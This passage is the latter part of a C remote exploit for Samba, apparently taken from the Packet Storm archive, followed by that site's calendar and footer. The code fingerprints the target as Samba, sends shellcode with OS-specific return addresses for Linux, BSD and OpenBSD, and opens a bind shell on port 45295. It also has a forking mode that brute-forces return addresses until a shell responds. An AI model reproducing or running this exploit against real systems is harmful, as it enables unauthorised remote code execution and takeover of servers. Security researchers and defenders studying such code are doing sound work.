memcpy(&addr2.sin_addr, he->h_addr, he->h_length);

addr1.sin_family = AF_INET;
addr1.sin_port = htons(port);
addr2.sin_family = AF_INET;
addr2.sin_port = htons(45295);

if (connect(sock, (struct sockaddr *)&addr1, sizeof(addr1)) == -1) {
fprintf(stderr, "+ connect() error.\n");
return -1;
}

if (verbose == 1) fprintf(stdout, "+ %s\n", targets[type - 1].type);

if (force == 0) {

if (is_samba(argv[optind], 2) != 0) {
fprintf(stderr, "+ Host is not running samba!\n\n");
return -1;
}

fprintf(stderr, "+ Host is running samba.\n");
}

if (verbose == 1) fprintf(stdout, "+ Connected to [%s:%d]\n", (char *)inet_ntoa(addr1.sin_addr), port);

if (start_session(sock) < 0) fprintf(stderr, "+ Session failed.\n");

if (verbose == 1) fprintf(stdout, "+ Session enstablished\n");
sleep(5);
if (targets[type - 1].os_type != 2) {
if (exploit_normal(sock, ret, shellcode) < 0) {
fprintf(stderr, "+ Failed.\n");
close(sock);
}
} else {
if (exploit_openbsd32(sock, ret, shellcode) < 0) {
fprintf(stderr, "+ Failed.\n");
close(sock);
}
}

sleep(2);

if (connectback == 0) {
if(connect(sock2, (struct sockaddr *)&addr2, sizeof(addr2)) == -1) {
fprintf(stderr, "+ Exploit failed, try -b to bruteforce.\n");

return -1;
}

fprintf(stdout, "--------------------------------------------------------------\n");

shell(sock2);
close(sock);
close(sock2);
} else {
fprintf(stdout, "+ Done...\n");
close(sock2);
close(sock);
}
return 0;
}

signal(SIGPIPE, SIG_IGN);
signal(SIGUSR1, handler);

switch(brute) {
case 0:
if (ret == 0) ret = 0xc0000000;
shellcode = linux_bindcode;
fprintf(stdout, "+ Bruteforce mode. (Linux)\n");
break;
case 1:
if (ret == 0) ret = 0xbfc00000;
shellcode = bsd_bindcode;
fprintf(stdout, "+ Bruteforce mode. (FreeBSD / NetBSD)\n");
break;
case 2:
if (ret == 0) ret = 0xdfc00000;
shellcode = bsd_bindcode;
fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.1 and prior)\n");
break;
case 3:
if (ret == 0) ret = 0x00170000;
shellcode = bsd_bindcode;
fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.2 - non-exec stack)\n");
break;
}

memcpy(&addr1.sin_addr, he->h_addr, he->h_length);
memcpy(&addr2.sin_addr, he->h_addr, he->h_length);

addr1.sin_family = AF_INET;
addr1.sin_port = htons(port);
addr2.sin_family = AF_INET;
addr2.sin_port = htons(45295);

for (i = 0; i < 100; i++)
childs[i] = -1;
i = 0;

if (force == 0) {
if (is_samba(argv[optind], 2) != 0) {
fprintf(stderr, "+ Host is not running samba!\n\n");
return -1;
}

fprintf(stderr, "+ Host is running samba.\n");
}

while (OWNED == 0) {

if (sock > 2) close(sock);
if (sock2 > 2) close(sock2);

if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
if (verbose == 1) fprintf(stderr, "+ socket() error.\n");
}
else {
ret -= STEPS;
i++;
}

if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0)
if (verbose == 1) fprintf(stderr, "+ socket() error.\n");


if ((ret & 0xff) == 0x00 && brute != 3) ret++;

if (verbose == 1) fprintf(stdout, "+ Using ret: [0x%08x]\n", (unsigned int)ret);

usleep(BRUTE_DELAY);

switch (childs[i] = fork()) {
case 0:
if(Connect(sock, (char *)inet_ntoa(addr1.sin_addr), port, 2) == -1) {
if (sock > 2) close(sock);
if (sock2 > 2) close(sock2);
exit(-1);
}

if(write_timer(sock, 3) == 1) {
if (start_session(sock) < 0) {
if (verbose == 1) fprintf(stderr, "+ Session failed.\n");
if (sock > 2)close(sock);
if (sock2 > 2) close(sock2);
exit(-1);
}

if (brute == 3) {
if (exploit_openbsd32(sock, ret, shellcode) < 0) {
if (verbose == 1) fprintf(stderr, "+ Failed.\n");
if (sock > 2) close(sock);
if (sock2 > 2) close(sock2);
exit(-1);
}
}
else {
if (exploit_normal(sock, ret, shellcode) < 0) {
if (verbose == 1) fprintf(stderr, "+ Failed.\n");
if (sock > 2) close(sock);
if (sock2 > 2) close(sock2);
exit(-1);
}

if (sock > 2) close(sock);

if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
if (sock2 > 2) close(sock2);
exit(-1);
}

if(Connect(sock2, (char *)inet_ntoa(addr1.sin_addr), 45295, 2) != -1) {
if (sock2 > 2) close(sock2);
kill(getppid(), SIGUSR1);
}

exit(1);
}


exit(0);
break;
case -1:
fprintf(stderr, "+ fork() error\n");
exit(-1);
break;
default:
if (i > MAX_CHILDS - 2) {
wait(&status);
i--;
}
break;
}

}

}

return 0;
}

/* EOF */
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close